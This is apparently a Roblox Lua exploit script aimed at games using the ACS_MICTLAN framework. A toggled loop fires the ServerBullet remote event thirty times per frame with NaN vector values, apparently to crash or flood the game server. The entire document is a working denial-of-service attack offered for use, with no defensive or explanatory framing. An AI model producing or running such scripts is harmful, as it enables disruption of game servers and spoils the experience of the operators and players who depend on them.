local Storage = game:GetService('ReplicatedStorage'); local ACS_Engine = Storage.ACS_MICTLAN; local Many = 30; local Remote = ACS_Engine.Events.ServerBullet; shared.Crash = not shared.Crash; while shared.Crash do for i = 1, Many do Remote:FireServer(Vector3.new(0/0/0), Vector3.new(0/0/0)); end task.wait(); end